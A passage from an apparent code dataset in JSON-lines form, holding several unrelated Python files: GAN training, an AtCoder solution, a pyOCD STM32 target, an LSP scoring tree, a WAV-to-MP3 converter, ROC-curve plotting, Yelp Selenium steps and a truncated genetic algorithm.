logger.info('loss from fake image and right text generated')\n\n # the loss of generator and the discriminator\n self.loss_d = self.loss_r + self.loss_f + self.loss_w\n\n self.loss_g = tf.reduce_mean(\n compat_tf.sigmoid_cross_entropy_with_logits(\n logits=self.fr_score, labels=tf.ones_like(self.fr_score)))\n\n # build the sampler\n if build_sampler:\n with tf.variable_scope('', reuse=True):\n self.sample_network = GAN.img_generator(\n self.config, stage='test')\n self.sample_network.build_image_generator(\n self.noise_input, self.real_sen_rep)\n self.sample_img = self.sample_network.get_fake_image()\n return\n\n def init_training(self, sess, restore_path):\n '''\n @brief:\n define all the training paras and how to train it\n '''\n # get the training optimizer\n t_vars = tf.trainable_variables()\n\n self.g_vars = [var for var in t_vars if 'img_generator' in var.name]\n self.d_vars = [var for var in t_vars if 'img_discriminator' in var.name]\n\n self.d_optimizer = tf.train.AdamOptimizer(\n self.config.TRAIN.learning_rate, beta1=self.config.TRAIN.beta1,\n beta2=self.config.TRAIN.beta2).minimize(self.loss_d,\n var_list=self.d_vars)\n\n self.g_optimizer = tf.train.AdamOptimizer(\n self.config.TRAIN.learning_rate, beta1=self.config.TRAIN.beta1,\n beta2=self.config.TRAIN.beta2).minimize(self.loss_g,\n var_list=self.g_vars)\n\n # init the saver\n self.saver = tf.train.Saver()\n\n # get the variable initialized\n if restore_path is None:\n # init_op = tf.initialize_all_variables()\n init_op = tf.global_variables_initializer()\n sess.run(init_op)\n else:\n self.restore(sess, restore_path)\n\n self.init_summary(sess)\n return\n\n def init_summary(self, sess):\n self.loss_d_sum = tf.summary.scalar('discriminator_loss', self.loss_d)\n self.loss_g_sum = tf.summary.scalar('generator_loss', self.loss_g)\n\n self.loss_real_sum = tf.summary.scalar('real_pair_loss', self.loss_r)\n self.loss_w_sum = tf.summary.scalar(\n 'fake_text_real_img_loss', self.loss_w)\n self.loss_f_sum = tf.summary.scalar(\n 'real_text_fake_img_loss', self.loss_f)\n\n self.g_sum = tf.summary.merge(\n [self.loss_g_sum, self.loss_f_sum, self.loss_w_sum])\n\n self.d_sum = tf.summary.merge(\n [self.loss_d_sum, self.loss_real_sum])\n\n path = os.path.join(init_path.get_base_dir(), 'summary')\n self.train_writer = tf.summary.FileWriter(path, sess.graph)\n\n logger.info('summary write initialized, writing to {}'.format(path))\n\n return\n\n def train_net(self, sess, data_reader):\n while self.step < self.config.TRAIN.max_step_size:\n feed_dict = self.get_input_dict(data_reader)\n\n # train the discriminator\n _, loss_d, score_r, score_rw, score_fr, dis_summary = sess.run(\n [self.d_optimizer, self.loss_d,\n self.score_r, self.score_rw, self.fr_score,\n self.d_sum], feed_dict=feed_dict)\n\n # train the generator\n _, loss_g, score_r, score_rw, score_fr, gen_summary = sess.run(\n [self.g_optimizer, self.loss_g,\n self.score_r, self.score_rw, self.fr_score,\n self.g_sum], feed_dict=feed_dict)\n\n logger.info('step: {}, discriminator: loss {}, generator loss: {}'.\n format(self.step, loss_d, loss_g))\n\n # write the summary\n self.train_writer.add_summary(gen_summary, self.step)\n self.train_writer.add_summary(dis_summary, self.step)\n self.step = self.step + 1\n\n # do test / sampling result once in a while\n if np.mod(self.step, self.config.TRAIN.snapshot_step) == 0:\n # save the check point\n self.save(sess)\n\n # do the sampling\n self.do_sample(sess, data_reader)\n return\n\n def do_sample(self, sess, data_reader, save_img=True):\n '''\n @brief:\n sample some result to visualize\n '''\n feed_dict, text = self.get_input_dict(data_reader, sampling=True)\n fake_img = sess.run([self.sample_img], feed_dict=feed_dict)\n fake_img = fake_img[0]\n\n if save_img:\n self.save_generated_imgs(fake_img, text,\n data_reader.get_dataset_name())\n else:\n logger.warning('Generated images are not saved.')\n return\n\n def save_generated_imgs(self, fake_img, text, dataset_name):\n save_path = os.path.join(\n init_path.get_base_dir(), 'data', 'data_dir', dataset_name,\n 'sample', 'tiGAN' + str(self.step))\n\n if not os.path.exists(save_path): # make a dir for the new samples\n os.mkdir(save_path)\n logger.info('Making new directory {}'.format(save_path))\n fake_img = (fake_img + 1.0) * 255.0 / 2.0\n fake_img = fake_img.astype('uint8')\n\n for i_img in range(len(text)):\n sio.imsave(os.path.join(save_path, text[i_img] + '.jpg'),\n fake_img[i_img])\n logger.info('Generated images are saved to {}'.format(save_path))\n return\n\n def save(self, sess):\n base_path = init_path.get_base_dir()\n path = os.path.join(base_path,\n 'checkpoint', 'tigan_' + str(self.step) + '.ckpt')\n self.saver.save(sess, path)\n\n logger.info('checkpoint saved to {}'.format(path))\n return\n\n def restore(self, sess, restore_path):\n self.saver.restore(sess, restore_path)\n # we explicit keep a count of steps\n self.step = int(str(restore_path.split('_')[1].split('.')[0]))\n logger.info('checkpoint restored from {}'.format(restore_path))\n logger.info('continues from step {}'.format(self.step))\n return\n\n def get_input_dict(self, data_reader, sampling=False):\n '''\n @brief: return the feed dict\n '''\n feed_dict = {}\n\n feed_dict[self.noise_input] = np.random.uniform(\n -1, 1, [self.batch_size, self.config.z_dimension])\n\n if not sampling:\n feed_dict[self.real_img], feed_dict[self.real_sen_rep], \\\n feed_dict[self.wrong_sen_rep] = \\\n data_reader.next_batch(self.batch_size)\n return feed_dict\n else:\n feed_dict[self.real_sen_rep], origin_text = \\\n data_reader.get_sample_data(\n self.config.TEST.sample_size)\n return feed_dict, origin_text\n","sub_path":"model/tiGAN.py","file_name":"tiGAN.py","file_ext":"py","file_size_in_byte":10723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"344174148","text":"from collections import Counter\nS = input()\n\ncntS = Counter(list(S))\n\ntwo = 0\none = 0\nfor c in cntS.values():\n q, r = divmod(c, 2)\n two += q\n one += r\n\nif one == 0:\n print(len(S))\nelse:\n print(two // one * 2 + 1)\n","sub_path":"AtCoder/arc/053b_2.py","file_name":"053b_2.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"310604695","text":"\"\"\"\n mbed CMSIS-DAP debugger\n Copyright (c) 2006-2013 ARM Limited\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nfrom cortex_m import CortexM, DHCSR, DBGKEY, C_DEBUGEN, C_MASKINTS, C_STEP, DEMCR, VC_CORERESET, NVIC_AIRCR, NVIC_AIRCR_VECTKEY, NVIC_AIRCR_SYSRESETREQ\nfrom cortex_m import C_HALT\nfrom pyOCD.target.target import TARGET_RUNNING, TARGET_HALTED\nimport logging\n\n#DBGMCU clock\nRCC_APB2ENR_CR = 0x40021018\nRCC_APB2ENR_DBGMCU = 0x00400000\n\nDBGMCU_CR = 0x40015804\nDBGMCU_APB1_CR = 0x40015808\nDBGMCU_APB2_CR = 0x4001580C\n\n#0000 0000 0000 0000 0000 0000 0000 0100\n#BGMCU_CR_VAL = 0x00000000 \n\n#0000 0010 0010 0000 0001 1101 0011 0011\nDBGMCU_APB1_VAL = 0x02201D33\n\n#0000 0000 0000 0111 0000 1000 0000 0000\nDBGMCU_APB2_VAL = 0x00070800\n\n\n\nclass STM32F051(CortexM):\n\n memoryMapXML = \"\"\"\n\n\n 0x400\n \n\n\"\"\"\n \n def __init__(self, transport):\n super(STM32F051, self).__init__(transport)\n\n def init(self):\n logging.debug('stm32f051 init')\n CortexM.init(self)\n enclock = self.readMemory(RCC_APB2ENR_CR)\n enclock |= RCC_APB2ENR_DBGMCU\n self.writeMemory(RCC_APB2ENR_CR, enclock);\n self.writeMemory(DBGMCU_APB1_CR, DBGMCU_APB1_VAL);\n self.writeMemory(DBGMCU_APB2_CR, DBGMCU_APB2_VAL);","sub_path":"pyOCD/target/target_stm32f051.py","file_name":"target_stm32f051.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"98627763","text":"from typing import Type, Dict, List\nfrom lsp_types import NodeType, AggregatorType\nfrom utils import NodeTypeToClass\nfrom core.lsp_core import gcd, cpa, dpa\nfrom structures.lsp_node import LSPNode\nimport math\n\nclass LSPTree:\n def __init__(self, root: LSPNode = None) -> \"LSPTree\":\n self.root = root\n def setRoot(self, root: LSPNode):\n self.root = root\n @staticmethod\n def createNode(id: int, nodeType: str):\n return NodeTypeToClass[nodeType](id)\n def search(self, id: int) -> LSPNode:\n \"\"\"\n e.g. 1\n |\n 11 - 12 - 13\n |\n 121 - 122\n \"\"\"\n breakDowns = self._breakDownDigits(id)\n curr = self.root\n for i in range(0, len(breakDowns)):\n curr = self._searchHelper(breakDowns[i], curr)\n if curr is None:\n return None\n if i == len(breakDowns) - 1:\n return curr\n curr = curr.child\n return None\n def _searchHelper(self, id: int, node: LSPNode) -> LSPNode:\n while node is not None:\n if node.id == id:\n return node\n node = node.sibiling\n return None\n def _breakDownDigits(self, num: int):\n \"\"\"\n e.g. 122 would become [1, 12, 122]\n \"\"\"\n return [int(str(num)[0: i]) for i in range(1, len(str(num)) + 1)]\n def insert(self, returnsID: int, nodeType: str) -> LSPNode:\n \"\"\"\n insert a new node to returns\n \"\"\"\n returns = self.search(returnsID)\n cnt = 1\n if returns.child is None:\n returns.child = LSPTree.createNode(cnt, nodeType)\n return returns.child\n child = returns.child\n while child.sibiling is not None:\n child = child.sibiling\n cnt += 1\n child.sibiling = LSPTree.createNode(returns.id * 10 + cnt + 1, nodeType)\n return child.sibiling\n def remove(self, id: int) -> LSPNode:\n node = self.search(id)\n if node is None:\n return None\n if node == self.root:\n self.root = None\n elif node.returns is not None:\n node.returns.child = None\n else:\n returns = self.search(int(str(id)[0: len(id) - 1]))\n child = returns.child\n while child.sibiling is not None:\n if child.sibiling.id == id:\n child.sibiling = None\n break\n return node\n def scoring(self) -> float:\n self._postOrder(self.root)\n return self.root.score\n def _postOrder(self, node: LSPNode):\n if node is None:\n return\n if node.nodeType == NodeType.ATTRIBUTE:\n score = node.eac.solve(node.value)\n node.score = score if score != 0.0 else 0.01\n return\n if node.aggregatorType == AggregatorType.GCD:\n scores, weights, n = [], [], 0\n curr = node.child\n while curr is not None:\n self._postOrder(curr)\n scores.append(curr.score)\n weights.append(curr.weight)\n curr = curr.sibiling\n n += 1\n node.score = gcd(scores, weights, node.symbol[1], node.aggregatorGroup.threshold, n)\n elif node.aggregatorType == AggregatorType.CPA:\n optionalScore, mandatoryScore = 0.0, 0.0\n curr = node.child\n while curr is not None:\n self._postOrder(curr)\n if curr.id == node.optional:\n optionalScore = curr.score\n if curr.id == node.mandatory:\n mandatoryScore = curr.score\n curr = curr.sibiling\n node.score = cpa(node.innerWeight1, node.innerWeight2, mandatoryScore, optionalScore)\n elif node.aggregatorType == AggregatorType.DPA:\n optionalScore, sufficientScore = 0.0, 0.0\n curr = node.child\n while curr is not None:\n self._postOrder(curr)\n if curr.id == node.optional:\n optionalScore = curr.score\n if curr.id == node.sufficient:\n sufficientScore = curr.score\n curr = curr.sibiling\n node.score = dpa(node.innerWeight1, node.innerWeight2, sufficientScore, optionalScore)\n def printInfo(self, info: Dict):\n self._preOrder(self.root, info, lambda x : self._selfPrint(x))\n def _selfPrint(self, node):\n digits = len(str(node.id))\n space = ''\n for i in range(0, digits - 1):\n space += ' '\n if node.nodeType == NodeType.ATTRIBUTE:\n return space + str(node.id) + ' ' + node.name + ' || ' + str(node.breakValues) + ' || input: ' + str(node.value) + ' (' + node.units + ')'\n else:\n symbol = node.symbol[0] if node.aggregatorType == AggregatorType.GCD else ''\n penalty_reward = 'Penalty: ' + str(node.penalty) + ', Reward: ' + str(node.reward) if (node.aggregatorType == AggregatorType.CPA or node.aggregatorType == AggregatorType.DPA) else ''\n return space + str(node.id) + ' ' + node.name + ' || ' + node.aggregatorType.upper() + ' || ' + symbol + penalty_reward\n def _preOrder(self, node: LSPNode, info: Dict, func):\n if node is None:\n return\n info['nodes'].append(func(node))\n self._preOrder(node.child, info, func)\n self._preOrder(node.sibiling, info, func)\n \n def _getCount(self, node: LSPNode) -> int:\n if node is None:\n return 0\n return self._getCount(node.child) + self._getCount(node.sibiling) + 1\n \n def _deep_equals(self, nodeDict: Dict) -> bool:\n if not self._deep_equals_helper(self.root, nodeDict):\n return False\n if self._getCount(self.root) != len(nodeDict):\n return False\n return True\n \n def _deep_equals_helper(self, node: LSPNode, nodeDict: Dict) -> bool:\n if node is None:\n return True\n if str(node.id) not in nodeDict or not self._equals(node, nodeDict[str(node.id)]):\n return False\n if not self._deep_equals_helper(node.child, nodeDict):\n return False\n if not self._deep_equals_helper(node.sibiling, nodeDict):\n return False\n return True\n \n def _equals(self, node: LSPNode, newNode: Dict) -> bool:\n if node.nodeType != newNode['nodeType'].lower():\n return False\n if node.nodeType == NodeType.ATTRIBUTE:\n return self._attribute_equals(node, newNode)\n elif node.nodeType == NodeType.AGGREGATOR:\n return self._aggregator_equals(node, newNode)\n return False\n \n def _attribute_equals(self, node: LSPNode, newNode: Dict) -> bool:\n if node.name != newNode['name']:\n node.name = newNode['name']\n if node.units != newNode['details']['units']:\n node.units = newNode['details']['units']\n if node.id != 1 and 'weight' in newNode and node.weight != float(newNode['weight']):\n return False\n if not self._attribute_breaks_equals(node.breakValues, newNode['details']['breakValues']):\n return False\n return True\n \n def _attribute_breaks_equals(self, oldBreaks: List, newBreak: List) -> bool:\n if len(oldBreaks) != len(newBreak):\n return False\n for i in range(0, len(oldBreaks)):\n if oldBreaks[i][0] != float(newBreak[i][0]) or oldBreaks[i][1] != float(newBreak[i][1]):\n return False\n return True\n \n def _aggregator_equals(self, node: LSPNode, newNode: Dict) -> bool:\n if node.name != newNode['name']:\n node.name = newNode['name']\n if node.id != 1 and 'weight' in newNode and node.weight != float(newNode['weight']):\n return False\n if node.aggregatorType != newNode['details']['aggregatorType'].lower():\n return False\n if node.aggregatorType == AggregatorType.GCD:\n if node.symbol[0] != newNode['details']['symbol'].lower():\n return False\n elif node.aggregatorType == AggregatorType.CPA:\n if node.penalty != float(newNode['details']['penalty']):\n return False\n if node.reward != float(newNode['details']['reward']):\n return False\n if node.optional != int(newNode['details']['optional']):\n return False\n if node.mandatory != int(newNode['details']['mandatory']):\n return False\n elif node.aggregatorType == AggregatorType.DPA:\n if node.penalty != float(newNode['details']['penalty']):\n return False\n if node.reward != float(newNode['details']['reward']):\n return False\n if node.optional != int(newNode['details']['optional']):\n return False\n if node.sufficient != int(newNode['details']['sufficient']):\n return False\n return True","sub_path":"structures/lsp_tree.py","file_name":"lsp_tree.py","file_ext":"py","file_size_in_byte":9060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"627433887","text":"import eyed3\r\nimport os\r\nimport subprocess\r\nimport argparse\r\nimport sys\r\nimport eyed3\r\n\r\n\r\nif sys.platform == \"linux\" or sys.platform == \"linux2\":\r\n lame = '/usr/bin/lame'\r\nelse:\r\n lame = '/usr/local/bin/lame'\r\n\r\n\r\ndef convert_file_2_mp3(input_file, output_file, artist='', album=''):\r\n lame_paras = '-V 5 --vbr-new'\r\n args = [lame,] + [lame_paras,] + [input_file] + [output_file]\r\n subprocess.call(args)\r\n ''' ID3 is used to change meta information of mp3 file'''\r\n mp3file = eyed3.load(output_file)\r\n mp3file.initTag()\r\n mp3file.tag.artist = artist\r\n mp3file.tag.album = album\r\n\r\n mp3file.tag.save()\r\n\r\n\r\ndef convert_folder_2_mp3(input_folder, output_folder='Output(wav)', artist='', album=''):\r\n if not os.path.exists(output_folder):\r\n os.makedirs(output_folder)\r\n for f in os.listdir(input_folder):\r\n if not (f[-3:] == 'wav'): continue\r\n convert_file_2_mp3(input_folder + '/' + f, output_folder + '/' + f.replace('wav', 'mp3'), artist, album)\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser('Convert one file or files in a folder from .wav to .mp3')\r\n parser.add_argument('--one_file', '-o', action='store_true', help='set true to convert one file')\r\n parser.add_argument('input',\r\n help='Input file or folder. If -o is set, the value is name of a file, otherwise, it is the name of a folder')\r\n parser.add_argument('output', default='Output(wav)',\r\n help='Output folder or file. If folder, the default output folder is Output(wav)')\r\n args = parser.parse_args()\r\n if args.one_file:\r\n convert_file_2_mp3(args.input, args.output)\r\n else: convert_folder_2_mp3(args.input, args.output)\r\n","sub_path":"convert2mp3.py","file_name":"convert2mp3.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"421946900","text":"from __future__ import print_function\nfrom __future__ import print_function\nfrom __future__ import print_function\nfrom __future__ import print_function\nfrom __future__ import print_function\n\nimport pickle\n\nimport h5py as h5\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.models import load_model\nfrom keras.utils.io_utils import HDF5Matrix\nfrom keras.utils.np_utils import to_categorical\nfrom matplotlib import gridspec\nfrom matplotlib.ticker import MaxNLocator\nfrom scipy import interp\nfrom scipy.interpolate import interp1d\nfrom sklearn.metrics import roc_curve, roc_auc_score, auc\n\nfrom get_fnames import *\n\nlearn_curve_data_dir = '../models_data/'\nlearn_curve_img_dir = '../learning_curves/'\nroc_img_dir = '../ROC/'\nmodels_dir = '../models/'\nroc_data_dir = roc_img_dir + 'data/'\n\n\ndef check_dir(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\n\n# Produces learning curves of given generator\ndef create_learning_curve(gen):\n assert gen in generators\n assert os.path.exists(\"{d}SM_history_{g}.p\".format(d=learn_curve_data_dir, g=gen))\n\n data = pickle.load(open(\"{path}SM_history_{g}.p\".format(path=learn_curve_data_dir, g=gen)))\n\n assert data.keys() == ['acc', 'loss', 'val_acc', 'val_loss']\n\n print('Making image for {}'.format(gen))\n\n check_dir(learn_curve_img_dir)\n\n # Accuracy\n ax = plt.figure().gca()\n plt.title(gen + \" Accuracy\")\n plt.plot(np.arange(1, len(data['acc']) + 1, dtype=int), data['acc'], color='darkorange',\n label='Training Accuracy')\n plt.plot(np.arange(1, len(data['val_acc']) + 1, dtype=int), data['val_acc'], color='darkgreen',\n label='Validation Accuracy')\n\n plt.legend(loc=4)\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy percentage')\n ax.xaxis.set_major_locator(MaxNLocator(nbins=len(data['acc']), integer=True))\n\n plt.savefig('{d}Learning Curve {g} - Accuracy.png'.format(d=learn_curve_img_dir, g=gen))\n plt.show()\n\n # Loss\n ax = plt.figure().gca()\n plt.title(gen + \" Loss\")\n plt.plot(np.arange(1, len(data['loss']) + 1, dtype=int), data['loss'], color='darkorange',\n label='Training Loss')\n plt.plot(np.arange(1, len(data['val_loss']) + 1, dtype=int), data['val_loss'], color='darkgreen',\n label='Validation Loss')\n\n plt.legend(loc=1)\n plt.xlabel('Epochs')\n plt.ylabel('Binary Crossentropy')\n ax.xaxis.set_major_locator(MaxNLocator(nbins=len(data['acc']), integer=True))\n\n plt.savefig('{d}Learning Curve {g} - Loss.png'.format(d=learn_curve_img_dir, g=gen))\n plt.show()\n\n\n# Helper for roc_curve.\n# Given two arrays, returns indexes from array1 with values\n# closest to values from array2.\ndef find_index_nearest(array1, array2):\n res = []\n for i in array2:\n res.append(np.abs(array1-i).argmin())\n return res\n\n\n# Produces ROC Curves, as defined in paper: https://arxiv.org/abs/1609.00607\ndef create_roc_curve(gen, verbose=2):\n assert gen in generators\n# assert os.path.exists('{path}{g}.h5'.format(path=models_dir, g=gen))\n\n check_dir(roc_img_dir)\n\n if not os.path.exists('{directory}{g}.h5'.format(directory=roc_data_dir, g=gen)):\n save_tpr_fpr_auc(gen, verbose=verbose)\n\n __draw_roc(gen)\n\n\n# ROC curve drawer, given generator.\ndef __draw_roc(gen):\n line_styles = dict(zip(generators, ['-.', '--', '-', '-', '--']))\n colors = get_colors()\n\n fprs = {}\n tprs = {}\n aucs = {}\n ratios = {}\n\n with h5.File('{directory}{g}.h5'.format(directory=roc_data_dir, g=gen)) as h:\n # Contain true positive rate (signal efficiency), false positive rate (background efficiency) and\n # area under curve (auc) score for each generator.\n for g in generators:\n fprs[g] = h['%s/fpr' % g][:]\n tprs[g] = h['%s/tpr' % g][:]\n aucs[g] = h['%s/auc' % g][:]\n ratios[g] = h['%s/ratio' % g][:]\n\n # Needed to create two subplots with different sizes.\n # If other ratios are needed change height_ratios.\n plt.figure(figsize=(6, 8))\n gs = gridspec.GridSpec(2, 1, height_ratios=[4, 1])\n\n main = plt.subplot(gs[0])\n main.set_yscale('log')\n main.grid(True, color='gray', linestyle='--', linewidth=1, alpha=0.5)\n plt.xlim([0.1, 1.])\n plt.ylim([1., 10.**3])\n\n ratio = plt.subplot(gs[1])\n ratio.grid(True, color='gray', linestyle='--', linewidth=1, alpha=0.5)\n plt.xlim([0.1, 1.])\n plt.ylim([0.1, 1.1])\n\n main.plot(np.arange(0.1, 1.0, 0.001), np.divide(1., np.arange(0.1, 1.0, 0.001)), 'k--', label='Luck (AUC = 0.5000)')\n\n for gen_i in generators:\n print('Creating curve for {}'.format(gen_i))\n main.plot(tprs[gen_i], fprs[gen_i], color=colors[gen_i], linestyle=line_styles[gen_i],\n label='%s (AUC = %0.4f)' % (gen_i, aucs[gen_i]))\n\n ratio.plot(tprs[gen_i], ratios[gen_i], color=colors[gen_i], linestyle=line_styles[gen_i])\n\n ratio.set_xlabel(\"Signal Positive Rate\")\n ratio.set_ylabel(\"Model / %s\" % gen)\n main.set_ylabel(\"1 / [Background Efficiency]\")\n main.set_title(\"ROC Curve for model trained on {}\".format(gen))\n main.legend(loc=1, frameon=False)\n plt.tight_layout()\n plt.savefig(\"%sROC Curve %s\" % (roc_img_dir, gen))\n plt.clf()\n print('ROC Curve for {} successfully created.'.format(gen))\n\n\n# Given generator, saves data (tpr, fpr, auc, ratio of various fpr to fpr of given gen) to 'gen'.h5 file.\ndef save_tpr_fpr_auc(gen, verbose=2):\n model = load_model('{path}validated {t} {g}'.format(path=models_dir, t='SM', g=gen))\n\n if model.output_shape[1] == 1:\n tprs, fprs, aucs, ratios = __binary_roc_data(model, gen, verbose=verbose)\n else:\n tprs, fprs, aucs, ratios = __multi_roc_data(model, gen, verbose=verbose)\n\n # Saves file\n check_dir(roc_data_dir)\n\n with h5.File('{directory}{name}.h5'.format(directory=roc_data_dir, name=gen), 'w') as h:\n for gen_i in tprs.keys():\n t = h.create_group(gen_i)\n t.create_dataset('tpr', data=tprs[gen_i][()])\n t.create_dataset('fpr', data=fprs[gen_i][()])\n t.create_dataset('auc', data=[aucs[gen_i]])\n t.create_dataset('ratio', data=ratios[gen_i][()])\n\n\n# Calculates and return true positive rate, false positive rate, area under curve,\n# and ratios of false positive rate with respect to false positive rate of given generator gen.\n# For binary-class model.\ndef __binary_roc_data(model, gen, verbose=2):\n # Contain true positive rate (signal efficiency) and false positive rate (background efficiency)\n # for each generator.\n tprs = {}\n fprs = {}\n aucs = {}\n\n for gen_i, gen_i_path in get_ready_names().items():\n print('Creating curve for {}'.format(gen_i))\n with h5.File(gen_i_path) as h:\n y_actual = h['test/y'][()]\n y_pred = np.array(model.predict(HDF5Matrix(gen_i_path, 'test/x'), verbose=verbose),\n dtype=np.float64)\n fpr, tpr, thr = roc_curve(y_true=y_actual, y_score=y_pred)\n\n aucs[gen_i] = roc_auc_score(y_actual, y_pred)\n fprs[gen_i] = np.divide(1., fpr)\n tprs[gen_i] = tpr\n\n return tprs, fprs, aucs, __calc_ratios(tprs, fprs, gen)\n\n\n# Calculates and return true positive rate, false positive rate, area under curve,\n# and ratios of false positive rate with respect to false positive rate of given generator gen.\n# For multi-class model.\ndef __multi_roc_data(model, gen, verbose=2):\n # Contain true positive rate (signal efficiency), false positive rate (background efficiency) and\n # area under curve (auc) score for each generator.\n tprs = {}\n fprs = {}\n aucs = {}\n\n for gen_i, gen_i_path in get_ready_names().items():\n print('Creating data from model {}'.format(gen_i))\n with h5.File(gen_i_path) as h:\n y_actual = to_categorical(h['test/y'])\n y_pred = np.array(model.predict(HDF5Matrix(gen_i_path, 'test/x'), verbose=verbose),\n dtype=np.float64)\n\n n_classes = len(y_actual[0])\n gen_fpr = {}\n gen_tpr = {}\n gen_roc_auc = {}\n for i in range(n_classes):\n gen_fpr[i], gen_tpr[i], _ = roc_curve(y_actual[:, i], y_pred[:, i])\n gen_roc_auc[i] = auc(gen_fpr[i], gen_tpr[i])\n\n # First aggregate all false positive rates\n all_fpr = np.unique(np.concatenate([gen_fpr[i] for i in range(n_classes)]))\n\n # Then interpolate all ROC curves at this points\n mean_tpr = np.zeros_like(all_fpr)\n for i in range(n_classes):\n mean_tpr += interp(all_fpr, gen_fpr[i], gen_tpr[i])\n\n # Finally average it and compute AUC\n mean_tpr /= n_classes\n\n fprs[gen_i] = all_fpr\n tprs[gen_i] = mean_tpr\n aucs[gen_i] = auc(fprs[gen_i], tprs[gen_i])\n fprs[gen_i] = np.divide(1., fprs[gen_i])\n\n return tprs, fprs, aucs, __calc_ratios(tprs, fprs, gen)\n\n\n# Calculates ratios between fpr values of different generators\n# with respect to given generator gen.\ndef __calc_ratios(tprs, fprs, gen):\n assert tprs.keys() == fprs.keys()\n assert gen in tprs\n\n ratios = {}\n f_interpolate = interp1d(tprs[gen], fprs[gen], bounds_error=False)\n for gen_i in generators:\n curr_fpr = fprs[gen_i]\n curr_tpr = tprs[gen_i]\n ratios[gen_i] = np.divide(curr_fpr, f_interpolate(curr_tpr))\n return ratios\n\n\n# create_roc_curve('Herwig Dipole')\ncreate_roc_curve('Pythia Vincia')\ncreate_roc_curve('Herwig Angular')\ncreate_roc_curve('Sherpa')\n# create_learning_curve('Herwig Dipole')\ncreate_roc_curve('Pythia Standard')\n","sub_path":"eval/curves.py","file_name":"curves.py","file_ext":"py","file_size_in_byte":9554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"607735479","text":"#class work\nfrom behave import when, then, given\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\n\n'''Give Open a company's Yelp page\n When Click on a website link\n And Switch to a new window\n Then The company's website is open\n And A user can close the new window and go to the original one'''\n\nWEBSITE_LINK = (By.XPATH, \"//*[contains(text(), 'anchors-fish-chips-and-sea')]\")\nCOMPANY_NAME = (By.XPATH, \"//*[contains(text(), 'Anchors fish & chips and sea food grill')]\")\n\n@given (\"Open a company's Yelp page\")\ndef open_yelp(context):\n context.driver.get(\"https://www.yelp.com/biz/anchors-fish-and-chips-and-seafood-grill-san-jose-2\")\n\n@when (\"Click on a website link\")\ndef click_link(context):\n context.original_windows = context.driver.window_handles #will pass original_windows to context\n # to be used in next step!\n print(context.original_windows)\n context.original_window = context.driver.current_window_handle\n print(context.original_window)\n context.driver.find_element(*WEBSITE_LINK).click()\n\n@when (\"Switch to a new window\")\ndef switch_window(context):\n context.driver.wait.until(EC.new_window_is_opened)\n current_windows = context.driver.window_handles\n print(current_windows)\n #context.driver.switch_to_window(current_windows[1])\n for old_window in context.original_windows:\n current_windows.remove(old_window)\n print(current_windows)\n context.driver.switch_to_window(current_windows[0])\n\n@then(\"The {company} website is open\")\ndef verify_website_name(context, company):\n context.driver.find_element(*COMPANY_NAME) #only look for the element?!\n assert context.driver.find_element(*COMPANY_NAME), f\"Expexted to find {company} name on a page\"\n\n@then(\"A user can close the new window and go to the original one\")\ndef close_window_and_go_back(context):\n context.driver.close()\n context.driver.switch_to_window(context.original_window)\n\n\n\n\n\n\n\n","sub_path":"features/steps/yelp.py","file_name":"yelp.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"618519565","text":"# -*- coding: utf-8 -*-\n# -*- coding: utf-8 -*-\nimport numpy as np\nfrom crossover import crossover\nfrom mutate import mutate\nfrom parent_selection import tournament_sel\ndef ga_third(pop_gen,best_value,problem,param):\n \n #porblem paramter extraction\n cost_func=problem.cost_func\n varmin=problem.varmin\n varmax=problem.varmax\n \n #param\n niter=param.niter\n npop=param.npop\n \n best_costsam=best_value.deepcopy()\n bestsol=np.empty(niter)\n avg_list=np.empty(niter)\n \n for i in range(niter):\n \n popc=[]\n popp=[]\n cost_sum=0\n cost_prob=[]\n s=0\n for j in range(npop):\n cost_sum+=pop_gen[j].cost\n for k in range(npop):\n s=s+(pop_gen[k].cost/cost_sum)\n cost_prob.append(s)\n \n for j in range(npop//2):\n \n #parent selection\n #p1,p2=rand_tournamet_fitness(pop_gen,npop,cost_prob)\n p1,p2=tournament_sel(pop_gen,npop)\n #generating offpring\n c1,c2=crossover(p1,p2,0.2)\n #mutate the offspring\n c1m=mutate(c1,0.3)\n c2m=mutate(c2,0.3)\n apply_bounds(c1m,varmin,varmax)\n apply_bounds(c2m,varmin,varmax)\n #cost value calculation of children\n c1m.cost=cost_func(c1m.value[0],c1m.value[1])\n if c1m.cost>best_costsam.cost:\n best_costsam=c1m.deepcopy()\n c2m.cost=cost_func(c2m.value[0],c2m.value[1])\n if c2m.cost>best_costsam.cost:\n best_costsam=c2m.deepcopy()\n \n popc.append(c1m)\n popc.append(c2m)\n popp.append(p1)\n popp.append(p2)\n \n #ranking model\n pop_gen=popc+popp\n pop_gen=sorted(pop_gen, key=lambda x: x.cost)\n pop_gen=pop_gen[npop-1:-1]\n avg=0\n for j in range(npop):\n avg=avg+pop_gen[j].cost\n avg=avg/npop\n avg_list[i]=avg\n bestsol[i]=best_costsam.cost\n best_value=best_costsam.deepcopy()\n \n #best cost\n #print('generation {} is {} and avg is {} 